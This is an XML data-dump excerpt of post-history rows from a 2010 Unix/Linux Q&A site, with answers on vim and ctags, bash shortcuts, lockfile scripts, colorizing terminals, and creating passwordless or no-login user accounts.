  <row Id="216" PostHistoryTypeId="3" PostId="123" RevisionGUID="72e9e835-653e-47bf-8c56-5c59b2b8c14f" CreationDate="2010-08-10T20:44:22.460" UserId="140" Text="ésuseàérpmàépackagingà" />
  <row Id="217" PostHistoryTypeId="2" PostId="124" RevisionGUID="d7716162-e13e-43c2-9115-fd7561f66a8c" CreationDate="2010-08-10T20:45:16.640" UserId="143" Text="   Most Linux distros support building packages from the source code. You simply need to install the necessary development packages from the distribution repositories along with any specific requirements of the package you are building.&#xD;&#xA;   If you are wanting to build the system as close to scratch as possible the Linux from Scratch is the model but you have a greater responsibility for tracking security updates, patches, etc.&#xD;&#xA;   Arch Linux was the distro I chose because it allows you to build from source and provides the sources for updates and patches, etc. Arch has really good user support and plenty of documentation when it comes to resolving install and configuration issues." />
  <row Id="218" PostHistoryTypeId="2" PostId="125" RevisionGUID="762b0afd-63f3-49b0-906f-991766edbf88" CreationDate="2010-08-10T20:45:47.777" UserId="107" Text="I think [this][1] might be helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nion.modprobe.de/blog/archives/569-colored-manpages.html" />
  <row Id="219" PostHistoryTypeId="5" PostId="69" RevisionGUID="4c7cd27f-3be3-4fa2-ab11-fae2a5c5d287" CreationDate="2010-08-10T20:47:25.900" UserId="99" Comment="grammar change" Text="**bash -- insert preceding line's final parameter**&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;.&lt;/kbd&gt;  the most useful key combination ever, try it and see, for some reason no one knows about this one.&#xD;&#xA;&#xD;&#xA;press it again and again to select older last parameters. &#xD;&#xA;&#xD;&#xA;great when you want to do something more to the argument/file you used just a moment ago.&#xD;&#xA;" />
  <row Id="220" PostHistoryTypeId="2" PostId="126" RevisionGUID="0c5b7e62-07f0-44b0-868f-f47d02e0e3eb" CreationDate="2010-08-10T20:47:27.290" UserId="45" Text="One thing that saves me a lot of time is the pushd/popd commands.  These guys let you create a stack of directories and reduce typing a lot:&#xD;&#xA;&#xD;&#xA;    /foobar/ &gt; pushd /src/whatever/foo/test&#xD;&#xA;    /foobar/src/whatever/foo/test &gt; make run&#xD;&#xA;    /foobar/src/whatever/foo/test &gt; popd&#xD;&#xA;    /foobar/ &gt; make" />
  <row Id="221" PostHistoryTypeId="16" PostId="126" RevisionGUID="0c5b7e62-07f0-44b0-868f-f47d02e0e3eb" CreationDate="2010-08-10T20:47:27.290" UserId="-1" />
  <row Id="224" PostHistoryTypeId="2" PostId="128" RevisionGUID="8ff762b5-0eb2-441e-a85f-9d9146fe1586" CreationDate="2010-08-10T20:53:21.427" UserId="106" Text="In os X it's possible to have users without passwords. If you inspect them with dscl their password show up as &lt;code&gt;*&lt;/code&gt;. This is used for system users such as users for databases like mysql, pgsql etc. What's nice about this is that these users doesn't show up at the login screen and you can't login as them without sudo etc.&#xD;&#xA;&#xD;&#xA;After deleting such a user trying some things out I wanted to recreate it, but couldn't. I could manage to get a user with a blank password and I could set the password to _*_. But none had the same effect as above, as the user showed up on my login screen.&#xD;&#xA;&#xD;&#xA;How do you create such a user?" />
  <row Id="225" PostHistoryTypeId="1" PostId="128" RevisionGUID="8ff762b5-0eb2-441e-a85f-9d9146fe1586" CreationDate="2010-08-10T20:53:21.427" UserId="106" Text="How do you create a user with no password?" />
  <row Id="226" PostHistoryTypeId="3" PostId="128" RevisionGUID="8ff762b5-0eb2-441e-a85f-9d9146fe1586" CreationDate="2010-08-10T20:53:21.427" UserId="106" Text="éosxàéusersàépasswordàéloginà" />
  <row Id="227" PostHistoryTypeId="2" PostId="129" RevisionGUID="9b7ae959-b497-4b14-9c79-3c748b3cfabf" CreationDate="2010-08-10T20:54:10.410" UserId="135" Text="There's a great plugin for VIM that does syntax checking [Syntastic][1].  There are many other tools available as well for file management, building, etc.  Go to IRC #vim on freenode.net, there are lots of helpful folks there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/scripts/script.php?script_id=2736" />
  <row Id="228" PostHistoryTypeId="2" PostId="130" RevisionGUID="581cf710-0aab-4f5c-a388-0cc64b59a399" CreationDate="2010-08-10T20:55:42.357" UserId="99" Text="you'll want a feature called *ctags* that lets to browse around source definitions.&#xD;&#xA;&#xD;&#xA;Get the [exuberant ctags][1] tool, it works for many many languages and is v simple to use.&#xD;&#xA;&#xD;&#xA;from VIM `:help ctags`&#xD;&#xA;&#xD;&#xA;*ctags* will create an index of all identifiers in a source tree.  You can then use the tag commands to navigate around your source tree. see `:help tag-commands`.  The easiest is to place the cursor over a keyword and press &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;]&lt;/kbd&gt;. To get back to where you came from press &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;T&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;Beyond this you might want to look at some of the VIM tips and improvements discussed [here][2], it's a very comprehensive discussion of some of the things than can be done to improve a vimmer's experience.&#xD;&#xA;&#xD;&#xA;  [1]: http://ctags.sourceforge.net/&#xD;&#xA;  [2]: http://blog.cflewis.com/the-great-vim-textmate-debate-opinion-56" />
  <row Id="229" PostHistoryTypeId="5" PostId="26" RevisionGUID="a1285764-42bd-4280-a15f-831fc22027bb" CreationDate="2010-08-10T20:57:26.797" UserId="69" Comment="Added more links." Text="There are a few distros which support both binary and compiled packages--in theory, [Gentoo][1] supports this, but I don't think there are too many binary packages. [Arch][2] also supports building from source in addition to binary packages via the [Arch Build System][0] (ABS), though I don't have any experience with it.&#xD;&#xA;&#xD;&#xA;[0]: http://wiki.archlinux.org/index.php/Arch_Build_System&#xD;&#xA;[1]: http://www.gentoo.org/&#xD;&#xA;[2]: http://www.archlinux.org/" />
  <row Id="230" PostHistoryTypeId="2" PostId="131" RevisionGUID="a59fa5d3-68b6-485d-abd5-552b81c85421" CreationDate="2010-08-10T20:58:29.103" UserId="99" Text="If you are programming in any of the languages supported by GCC (C,C++,Java,Fortran) then [Clewn][1] is a great plugin that integrates the GDB debugger into VIM.  I've actually found it to be one of the best interfaces to GDB that there is.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://clewn.sourceforge.net/" />
  <row Id="231" PostHistoryTypeId="2" PostId="132" RevisionGUID="d12c461a-4e40-4067-8031-a26e3beba277" CreationDate="2010-08-10T20:59:40.363" UserId="132" Text="If grouping arguments together is acceptable, find | xargs will probably give better performance, since it will execute the command a lot fewer times than find -exec. If you want to execute the command each time for each file or execute in the subdirectory of the file you should probably use find -exec or -execdir.&#xD;&#xA;&#xD;&#xA;As a rule, it's preferable to stay away from shell-specific loops; find &amp; xargs are enough for most scenarios." />
  <row Id="232" PostHistoryTypeId="2" PostId="133" RevisionGUID="e1fd94b3-80ca-40d7-b5e3-1a608427eec9" CreationDate="2010-08-10T20:59:47.790" UserId="57" Text="[link][1] should be help full &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxtidbits.wordpress.com/2009/03/23/less-colors-for-man-pages/" />
  <row Id="233" PostHistoryTypeId="5" PostId="130" RevisionGUID="90da1242-e4e8-4707-b88b-4e32a1740e3a" CreationDate="2010-08-10T21:00:52.937" UserId="99" Comment="better explaination of what ctags is" Text="Whatever your language you'll want to use a feature called *ctags* that lets to browse around source definitions.  This requires an external tool to generate TAGS files that are used by VIM to discover the locations of various code definitions within a project.&#xD;&#xA;&#xD;&#xA;Get the [exuberant ctags][1] tool, it works for many many languages and is v simple to use.&#xD;&#xA;&#xD;&#xA;from VIM `:help ctags`&#xD;&#xA;&#xD;&#xA;*ctags* will create an index of all identifiers in a source tree.  You can then use the tag commands to navigate around your source tree. see `:help tag-commands`.  The easiest is to place the cursor over a keyword and press &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;]&lt;/kbd&gt;. To get back to where you came from press &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;T&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;Beyond this you might want to look at some of the VIM tips and improvements discussed [here][2], it's a very comprehensive discussion of some of the things than can be done to improve a vimmer's experience.&#xD;&#xA;&#xD;&#xA;  [1]: http://ctags.sourceforge.net/&#xD;&#xA;  [2]: http://blog.cflewis.com/the-great-vim-textmate-debate-opinion-56" />
  <row Id="234" PostHistoryTypeId="2" PostId="134" RevisionGUID="4282a6d6-d9fd-4f98-93f7-0fa73ec48428" CreationDate="2010-08-10T21:02:19.890" UserId="45" Text="If you are on Ubuntu you can swap in the password for the Ubuntu user in /etc/shadow/  check out this article:&#xD;&#xA;&#xD;&#xA;http://www.psychocats.net/ubuntucat/creating-a-passwordless-account-in-ubuntu/" />
  <row Id="235" PostHistoryTypeId="2" PostId="135" RevisionGUID="f62ecc19-6f22-42d7-aea7-431f280cbde6" CreationDate="2010-08-10T21:04:08.200" UserId="138" Text="lockfile(1) looks like a good candidate, though beware that it's part of the &lt;a href=&quot;http://www.procmail.org/&quot;&gt;procmail&lt;/a&gt; package, which you may not have installed on your machine yet.  It's a popular enough package that it should be packaged for your system if it's not installed yet.  Three of the four systems I checked have it, and the other has it available.&#xD;&#xA;&#xD;&#xA;Using it is simple:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    LOCKFILE=$HOME/.myscript/lock&#xD;&#xA;    mkdir -p `dirname $LOCKFILE`&#xD;&#xA;&#xD;&#xA;    echo Waiting for lock $LOCKFILE...&#xD;&#xA;    if lockfile -1 -r15 $LOCKFILE&#xD;&#xA;    then&#xD;&#xA;        # Do protected stuff here&#xD;&#xA;        echo Doing protected stuff...&#xD;&#xA;&#xD;&#xA;        # Then, afterward, clean up so another instance of this script can run&#xD;&#xA;        rm -f $LOCKFILE&#xD;&#xA;    else&#xD;&#xA;        echo &quot;Failed to acquire lock!  lockfile(1) returned $?&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;The options I've given make it retry once a second for up to 15 seconds.  Drop the &quot;-r&quot; flag if you want it to wait forever." />
  <row Id="236" PostHistoryTypeId="2" PostId="136" RevisionGUID="b0f7498f-99ce-4cff-9830-9658487c7904" CreationDate="2010-08-10T21:06:33.750" UserId="150" Text="A user in /etc/passwd with  home directory of /dev/null and shell of /sbin/nologin, can be used for sudo ing commands, but can't actually be logged into, for example;&#xD;&#xA;&#xD;&#xA;from my /etc/passwd&#xD;&#xA;&#xD;&#xA;    tcpdump:x:104:441:added by portage for tcpdump:/dev/null:/sbin/nologin&#xD;&#xA;&#xD;&#xA;I half remember this will make it disappear from the XDM login screen too, but I don't use XDM anymore, so that's a guess :-)" />
  <row Id="237" PostHistoryTypeId="5" PostId="82" RevisionGUID="adc3e425-e10a-4900-86e8-aae329228126" CreationDate="2010-08-10T21:06:36.667" UserId="45" Comment="added 12 characters in body" Text="Maybe the lockfile command will do what you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    lockfile ~/.config/mylockfile.lock&#xD;&#xA;    .....&#xD;&#xA;    rm -f important.lock&#xD;&#xA;" />
  <row Id="238" PostHistoryTypeId="2" PostId="137" RevisionGUID="43f3be46-072f-41b7-ab3e-a39c62393222" CreationDate="2010-08-10T21:07:00.753" UserId="10" Text="Looking for ideas on setting up a convenient and productive development environment for C development. I found [C editing with Vim][1] very helpful but I would like to get a wider sampling of suggestions.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-HOWTO/C-editing-with-VIM-HOWTO.html" />
  <row Id="239" PostHistoryTypeId="1" PostId="137" RevisionGUID="43f3be46-072f-41b7-ab3e-a39c62393222" CreationDate="2010-08-10T21:07:00.753" UserId="10" Text="Development environment for C" />
  <row Id="240" PostHistoryTypeId="3" PostId="137" RevisionGUID="43f3be46-072f-41b7-ab3e-a39c62393222" CreationDate="2010-08-10T21:07:00.753" UserId="10" Text="écommandölineàévimàédevelopmentàécà" />
  <row Id="241" PostHistoryTypeId="2" PostId="138" RevisionGUID="27b5346a-0487-4b42-adbb-aac61a427d2c" CreationDate="2010-08-10T21:10:51.617" UserId="150" Text="I persisted with Vim for a while, it's worth knowing the VIM basics as you will always find a UNIX box somewhere that only has that, but I tried Emacs and haven't looked back.   Eclipse is a 'modern' alternative, I have all three on my system !" />
  <row Id="242" PostHistoryTypeId="2" PostId="139" RevisionGUID="c491842d-de00-4e19-9a21-2dc29ecbf7ff" CreationDate="2010-08-10T21:11:35.140" UserId="65" Text="You can use Netbeans C/C++ Package that work with G++/GCC : &#xD;&#xA;&#xD;&#xA;[netbeans.org/features/cpp][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://netbeans.org/features/cpp" />
  <row Id="243" PostHistoryTypeId="2" PostId="140" RevisionGUID="9e461ce7-6986-42aa-b102-91188dad588d" CreationDate="2010-08-10T21:11:52.770" UserId="132" Text="You can run passwd --delete &amp;lt;username&amp;gt; after creating the user with adduser. After this, you'll be able to login without entering a password." />
  <row Id="244" PostHistoryTypeId="2" PostId="141" RevisionGUID="ec624a1a-70dc-476e-bc59-4538e67accda" CreationDate="2010-08-10T21:12:06.653" UserId="73" Text="It's very much a personal preference, so I don't think I can do much more than tell you what I use. I have Emacs set up with [Flymake mode](http://flymake.sourceforge.net/), which periodically compiles the file you're working on and parses the compiler output to figure out what errors you've made. It hilights the errors/warnings in the buffer, and shows the associated compiler error message" />
  <row Id="245" PostHistoryTypeId="2" PostId="142" RevisionGUID="a1f307e0-67b4-425f-a7f1-301e2bf6395c" CreationDate="2010-08-10T21:12:17.403" UserId="163" Text="    find [args] -print | xargs {command}&#xD;&#xA;&#xD;&#xA;Works best for me." />
  <row Id="246" PostHistoryTypeId="6" PostId="137" RevisionGUID="ee2b5b28-7713-4524-a5fd-171dbe585780" CreationDate="2010-08-10T21:14:00.523" UserId="5" Comment="edited tags" Text="écommandölineàévimàédevelopmentàécàésubjectiveà" />
  <row Id="247" PostHistoryTypeId="2" PostId="143" RevisionGUID="96897809-4266-407e-9d4f-a1ea31233ee1" CreationDate="2010-08-10T21:15:23.537" UserId="57" Text="my personal favorite is [exVim][1].&#xD;&#xA;Its have lots of vim plugins which makes it very easy to use with large code base.&#xD;&#xA;I till take approx 1 day to learn its features but it will be worth it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.in/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBUQFjAA&amp;url=http%3A%2F%2Fcode.google.com%2Fp%2Fexvim%2F&amp;ei=0cBhTPSQOIe3cY6W9OMJ&amp;usg=AFQjCNFSt8p_IB6uqnjwh_30ziLalcm4vw&amp;sig2=XeQHl0-lI2_BVBV8tHBYmA" />
  <row Id="248" PostHistoryTypeId="2" PostId="144" RevisionGUID="918f40fa-0a50-4426-b668-e8ecbfcafed3" CreationDate="2010-08-10T21:15:41.087" UserId="125" Text="I suggest reading [SwapFAQ][1] , in particular the [swapiness][2] parameter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/SwapFaq&#xD;&#xA;  [2]: http://www.linuxvox.com/2009/10/what-is-the-linux-kernel-parameter-vm-swappiness/" />
  <row Id="249" PostHistoryTypeId="2" PostId="145" RevisionGUID="99d38c0a-934b-4efe-bc5f-64d571f39d4f" CreationDate="2010-08-10T21:16:25.970" UserId="150" Text="What's the best way to convert Linux software RAID 1 array to RAID 5?   ( I have already bought the 3rd Hard Disc !)" />
  <row Id="250" PostHistoryTypeId="1" PostId="145" RevisionGUID="99d38c0a-934b-4efe-bc5f-64d571f39d4f" CreationDate="2010-08-10T21:16:25.970" UserId="150" Text="Is their a 'friction free' way to convert RAID1 to RAID5?" />
  <row Id="251" PostHistoryTypeId="3" PostId="145" RevisionGUID="99d38c0a-934b-4efe-bc5f-64d571f39d4f" CreationDate="2010-08-10T21:16:25.970" UserId="150" Text="éstorageàéraidà" />
  <row Id="252" PostHistoryTypeId="2" PostId="146" RevisionGUID="71bd0547-3678-4c74-968e-ed661d2fa340" CreationDate="2010-08-10T21:16:41.650" UserId="119" Text="I edit C with Vim in the console. I employ makefiles and have a number of compilers to test my code against, including gcc, clang (LLVM) and icc. Other things I consider part of my development environment: the use of grep, debuggers and valgrind. A scripting language for more complicated builds. Git for version control.&#xD;&#xA;&#xD;&#xA;More important in my mind than what you use to edit the code is how you structure your code. How to lay that out is probably a question for Stack Overflow, but, as you asked, I often have a separate directory for object code not for distribution and another folder for the resultant binar(y|ies). I have a testing folder which contains more C files that use all the generic code I'm writing and these I valgrind, along with the final project file.&#xD;&#xA;&#xD;&#xA; " />
  <row Id="254" PostHistoryTypeId="2" PostId="147" RevisionGUID="39740504-d93d-463f-91a8-730f3ea31a8e" CreationDate="2010-08-10T21:17:23.147" UserId="4" Text="You need to use the termcap (5) feature.&#xD;&#xA;&#xD;&#xA;I do the following so that `less` and `man` (which uses `less`) will have color:&#xD;&#xA;&#xD;&#xA;    $ cat ~/.LESS_TERMCAP &#xD;&#xA;    export LESS_TERMCAP_mb=$(tput bold; tput setaf 2) # green&#xD;&#xA;    export LESS_TERMCAP_md=$(tput bold; tput setaf 6) # cyan&#xD;&#xA;    export LESS_TERMCAP_me=$(tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_so=$(tput bold; tput setaf 3; tput setab 4) # yellow on blue&#xD;&#xA;    export LESS_TERMCAP_se=$(tput rmso; tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_us=$(tput smul; tput bold; tput setaf 7) # white&#xD;&#xA;    export LESS_TERMCAP_ue=$(tput rmul; tput sgr0)&#xD;&#xA;    export LESS_TERMCAP_mr=$(tput rev)&#xD;&#xA;    export LESS_TERMCAP_mh=$(tput dim)&#xD;&#xA;    export LESS_TERMCAP_ZN=$(tput ssubm)&#xD;&#xA;    export LESS_TERMCAP_ZV=$(tput rsubm)&#xD;&#xA;    export LESS_TERMCAP_ZO=$(tput ssupm)&#xD;&#xA;    export LESS_TERMCAP_ZW=$(tput rsupm)&#xD;&#xA;&#xD;&#xA;And then in my ~/.bashrc, I do this:&#xD;&#xA;&#xD;&#xA;        # Get color support for 'less'&#xD;&#xA;        export LESS=&quot;--RAW-CONTROL-CHARS&quot;&#xD;&#xA;&#xD;&#xA;        # Use colors for less, man, etc.&#xD;&#xA;        [[ -f ~/.LESS_TERMCAP ]] &amp;&amp; . ~/.LESS_TERMCAP&#xD;&#xA;" />
  <row Id="255" PostHistoryTypeId="2" PostId="148" RevisionGUID="ad3c82bd-76c3-4b4e-8706-202089223d7a" CreationDate="2010-08-10T21:21:12.450" UserId="4" Text="I spend most of my time working in Unix environments and using Terminal emulators. I try to use color on the command-line, because color makes the output more useful and intuitive.&#xD;&#xA;&#xD;&#xA;What are some good ways to add color to my terminal environment? What tricks do you do? What pitfalls have you encountered?&#xD;&#xA;&#xD;&#xA;Unfortunately, support for color is wildly variable depending on terminal type, OS, TERM setting, utility, buggy implementations, etc.&#xD;&#xA;Here's what I do currently, after a lot of experimentation:&#xD;&#xA;&#xD;&#xA;1. I tend to set 'TERM=xterm-color', which is supported on most hosts (but not all).&#xD;&#xA;1. I work on a number of different hosts, different OS versions, etc. I'm trying to keep things simple and generic, if possible.&#xD;&#xA;1. Many OSs set things like 'dircolors' and by default, and I don't want to modify this everywhere. So I try to stick with the defaults. Instead tweak my Terminal's color configuration.&#xD;&#xA;1. Use color for some [unix commands][debian] (ls, grep, less, vim) and the [Bash prompt][PS1]. These commands seem to the standard &quot;[ANSI escape sequences][ANSI]&quot;. For example:&#xD;&#xA;&#xD;&#xA;    alias less='less --RAW-CONTROL-CHARS'&#xD;&#xA;&#xD;&#xA;    export LS_OPTS='--color=auto'&#xD;&#xA;&#xD;&#xA;    alias ls='ls ${LS_OPTS}&#xD;&#xA;&#xD;&#xA;I'll post my .bashrc and answer my own question Jeopardy Style.&#xD;&#xA;&#xD;&#xA;[ANSI]: http://en.wikipedia.org/wiki/ANSI_escape_code&#xD;&#xA;[debian]: http://www.debian.org/doc/manuals/reference/ch09.en.html#_colorized_commands&#xD;&#xA;[PS1]: http://www.cyberciti.biz/faq/bash-shell-change-the-color-of-my-shell-prompt-under-linux-or-unix/&#xD;&#xA;" />
  <row Id="256" PostHistoryTypeId="1" PostId="148" RevisionGUID="ad3c82bd-76c3-4b4e-8706-202089223d7a" CreationDate="2010-08-10T21:21:12.450" UserId="4" Text="Colorizing your terminal and shell environment?" />
  <row Id="257" PostHistoryTypeId="3" PostId="148" RevisionGUID="ad3c82bd-76c3-4b4e-8706-202089223d7a" CreationDate="2010-08-10T21:21:12.450" UserId="4" Text="écolorsàébashàéshellà" />
  <row Id="258" PostHistoryTypeId="2" PostId="149" RevisionGUID="68bbcfc9-ef76-4d09-8ff7-5adce4bf5d9f" CreationDate="2010-08-10T21:24:31.390" UserId="4" Text="Set a bold/colored prompt. From [cyberciti.biz][1] and the [BashFAQ][2]&#xD;&#xA;&#xD;&#xA;   [1]: http://www.cyberciti.biz/faq/bash-shell-change-the-color-of-my-shell-prompt-under-linux-or-unix/&#xD;&#xA;   [2]: http://mywiki.wooledge.org/BashFAQ/037&#xD;&#xA;&#xD;&#xA;    # 'tput bold' will work regardless of the foreground and background colors.&#xD;&#xA;    # Place the tput output into variables, so they are only execd once.&#xD;&#xA;    bold=$(tput bold) # This could also be a color.&#xD;&#xA;    reset=$(tput sgr0)&#xD;&#xA;    export PS1=&quot;\u@\[$bold\]\h\[$reset\]:\w \$ &quot;&#xD;&#xA;&#xD;&#xA;I've also managed to find color settings which are widely supported, and which don't print gobbledygook characters in older environments (even FreeBSD4!), and seems to work fine if TERM=vt100, xterm, xterm-color. (For the most part). From my .bashrc:&#xD;&#xA;&#xD;&#xA;    # Set some options, based on the OS&#xD;&#xA;    OS=`uname -s` &#xD;&#xA;            &#xD;&#xA;    case &quot;$OS&quot; in&#xD;&#xA;        &quot;SunOS&quot; ) &#xD;&#xA;            # Solaris ls doesn't allow color, so use special characters&#xD;&#xA;            LS_OPTS='-F'&#xD;&#xA;            alias  ls='ls ${LS_OPTS}'&#xD;&#xA;            ;;&#xD;&#xA;        &quot;Linux&quot; )&#xD;&#xA;            # GNU ls supports colors!&#xD;&#xA;            # See dircolors to customize colors&#xD;&#xA;            export LS_OPTS='--color=auto' &#xD;&#xA;            alias  ls='ls ${LS_OPTS}'&#xD;&#xA;    &#xD;&#xA;            # Get color support for 'less'&#xD;&#xA;            export LESS=&quot;--RAW-CONTROL-CHARS&quot;&#xD;&#xA;    &#xD;&#xA;            # Use colors for less, man, etc.&#xD;&#xA;            [[ -f ~/.LESS_TERMCAP ]] &amp;&amp; . ~/.LESS_TERMCAP&#xD;&#xA;    &#xD;&#xA;            export GREP_OPTIONS=&quot;--color=auto&quot;&#xD;&#xA;            &#xD;&#xA;            ;;&#xD;&#xA;        &quot;Darwin&quot;|&quot;FreeBSD&quot;)&#xD;&#xA;            &#xD;&#xA;            # Most FreeBSD &amp; Apple Darwin supports colors&#xD;&#xA;            export CLICOLOR=true&#xD;&#xA;            # Get color support for 'less'&#xD;&#xA;            export LESS=&quot;--RAW-CONTROL-CHARS&quot;&#xD;&#xA;            &#xD;&#xA;            # Use colors for less, man, etc.&#xD;&#xA;            [[ -f ~/.LESS_TERMCAP ]] &amp;&amp; . ~/.LESS_TERMCAP&#xD;&#xA;            &#xD;&#xA;            export GREP_OPTIONS=&quot;--color=auto&quot;&#xD;&#xA;            ;;&#xD;&#xA;        * ) &#xD;&#xA;            echo &quot;Unknown OS [$OS]&quot;&#xD;&#xA;            ;;&#xD;&#xA;    esac" />
  <row Id="259" PostHistoryTypeId="6" PostId="119" RevisionGUID="db8a2b1b-bc8f-4ad1-9613-39472311608d" CreationDate="2010-08-10T21:25:32.153" UserId="29" Comment="add termcap tag because it requires termcap knowledge" Text="écolorsàélessàémanàépageràétermcapà" />
  <row Id="260" PostHistoryTypeId="2" PostId="150" RevisionGUID="12acfeb4-cc4b-4ed0-8846-cf5349e6c59b" CreationDate="2010-08-10T21:28:55.637" UserId="165" Text="Here are a couple of things you can do:&#xD;&#xA;&#xD;&#xA;**grep**  &#xD;&#xA;`grep --color` highlights all matches.&#xD;&#xA;&#xD;&#xA;**PS1**  &#xD;&#xA;You can set your PS1 (shell prompt) to use colours. For example:&#xD;&#xA;&#xD;&#xA;    PS1=&quot;\x1B[33;1m\u@\h: \x1B[31m\W\x1B[0m\$ &quot;&#xD;&#xA;Will produce a PS1 like:  &#xD;&#xA;[yellow]lucas@ubuntu: [red]~[normal]$ &#xD;&#xA;&#xD;&#xA;You can get really creative with this. As an idea:&#xD;&#xA;&#xD;&#xA;    PS1=&quot;\x1B[s\x1B[0;0H\x1B[1;33m\h\t\t\$(date)\n\x1B[1;32mThis is my computer\x1B[u[\u@\h:  \w]\$ &quot;&#xD;&#xA;&#xD;&#xA;Puts a bar at the top of your terminal with some random info. (For best results, also use `alias clear=&quot;echo -e '\e[2J\n\n'&quot;`." />
  <row Id="261" PostHistoryTypeId="2" PostId="151" RevisionGUID="2d9ae9ce-bc57-457e-a43a-4f0cf7931ed3" CreationDate="2010-08-10T21:29:25.777" UserId="160" Text=" - `u` - up half page&#xD;&#xA; - `d` - down half page&#xD;&#xA; - `k` - scroll single line up&#xD;&#xA; - `j` - scroll single line down&#xD;&#xA; - `-i` - case insensitive searching unless pattern contains capitals (as clo or in less)&#xD;&#xA; - `/ /pattern/` - search (used with n)&#xD;&#xA; - `-p /pattern/` open file at /pattern/ (as clo)&#xD;&#xA; - `&amp; /pattern/` highlight lines containing /pattern/ (like grep)" />
  <row Id="262" PostHistoryTypeId="2" PostId="152" RevisionGUID="17c48752-3a36-499a-8af5-0b43798a47bf" CreationDate="2010-08-10T21:29:50.363" UserId="168" Text="`wpa_passphrase [ ssid ] [ passphrase ]` generates a WPA PSK from an ASCII passphrase for a SSID. Then store it as&#xD;&#xA;&#xD;&#xA;    network={&#xD;&#xA;            ssid=&quot;your ssid&quot;&#xD;&#xA;            psk=outputfromabove&#xD;&#xA;    }" />
  <row Id="263" PostHistoryTypeId="2" PostId="153" RevisionGUID="9406f028-6689-4f7c-8073-19e606166ce0" CreationDate="2010-08-10T21:30:37.463" UserId="169" Text="I've found that the best way to pimp grep is to use [ack][1], which is essentially recursive grep with an intelligent ignore list (e.g., doesn't search .svn directories, ignores backup files, etc.), colour highlighting of results and perl regexps. It's what you want grep to do 98.6% of the time.&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/" />
  <row Id="264" PostHistoryTypeId="2" PostId="154" RevisionGUID="f67ee1ee-3f11-4450-b819-0416cafa953a" CreationDate="2010-08-10T21:36:23.703" UserId="41" Text="A great feature of *vim* is the ease of integration with existing shell commands. Some of the most useful external tools are the ones that are included in *coreutils* and other simple text maniplulation tools. For example, we can get the number of lines in a file with:&#xD;&#xA;&#xD;&#xA;    :! wc -l %&#xD;&#xA;&#xD;&#xA;or the number of words:&#xD;&#xA;&#xD;&#xA;    :! wc -w %&#xD;&#xA;&#xD;&#xA;Any command that works on the shell will work here. This can be powerfully combined with the `:read` (`:r`) command to put the output of the command into the file. For example:&#xD;&#xA;&#xD;&#xA;    :r !wc -l %&#xD;&#xA;&#xD;&#xA;Will place the word line count into the file you are editing.&#xD;&#xA;&#xD;&#xA;Another advantage of this is replacing the text you are currently editing with the output of one of these commands. For example, you could format the entire file with [`par`][1] by executing the command:&#xD;&#xA;&#xD;&#xA;    :% !par&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nicemice.net/par/ &quot;Par&quot;" />
  <row Id="265" PostHistoryTypeId="2" PostId="155" RevisionGUID="d3ee2160-d5ed-4e58-9091-01b7755fea16" CreationDate="2010-08-10T21:36:43.097" UserId="160" Text="I can't be certain about OSX, but on FreeBSD you can use:&#xD;&#xA;&#xD;&#xA;    pw add user mymuser -g mygroup -s /nonexistent -h -&#xD;&#xA;&#xD;&#xA;the value of `-` passed to the `-h` option tells `pw` to set the password field in master.passwd to `*`, thus creating a no-login account.  Setting the shell isn't strictly necessary, but avoids a shell check from /etc/pw.conf." />
  <row Id="266" PostHistoryTypeId="5" PostId="150" RevisionGUID="5c05dea9-af27-4165-ab06-b962d6f26b87" CreationDate="2010-08-10T21:36:46.963" UserId="165" Comment="added 379 characters in body; added 2 characters in body; added 99 characters in body" Text="Here are a couple of things you can do:&#xD;&#xA;&#xD;&#xA;**Editors + Code**  &#xD;&#xA;A lot of editors have syntax highlighting support. `vim` and `emacs` have it on by default. You can also [enable it under `nano`](http://wiki.linuxhelp.net/index.php/Nano_Syntax_Highlighting).&#xD;&#xA;&#xD;&#xA;You can also syntax highlight code on the terminal by using [Pygments](http://wiki.linuxhelp.net/index.php/Nano_Syntax_Highlighting) as a command-line tool.&#xD;&#xA;&#xD;&#xA;**grep**  &#xD;&#xA;`grep --color=auto` highlights all matches. You can also use `export GREP_OPTIONS='--color=auto'` to make it persistent without an alias.&#xD;&#xA;&#xD;&#xA;**PS1**  &#xD;&#xA;You can set your PS1 (shell prompt) to use colours. For example:&#xD;&#xA;&#xD;&#xA;    PS1=&quot;\x1B[33;1m\u@\h: \x1B[31m\W\x1B[0m\$ &quot;&#xD;&#xA;&#xD;&#xA;Will produce a PS1 like:&#xD;&#xA;&#xD;&#xA;[yellow]lucas@ubuntu: [red]~[normal]$ &#xD;&#xA;&#xD;&#xA;You can get really creative with this. As an idea:&#xD;&#xA;&#xD;&#xA;    PS1=&quot;\x1B[s\x1B[0;0H\x1B[1;33m\h\t\t\$(date)\n\x1B[1;32mThis is my computer\x1B[u[\u@\h:  \w]\$ &quot;&#xD;&#xA;&#xD;&#xA;Puts a bar at the top of your terminal with some random info. (For best results, also use `alias clear=&quot;echo -e '\e[2J\n\n'&quot;`.)" />
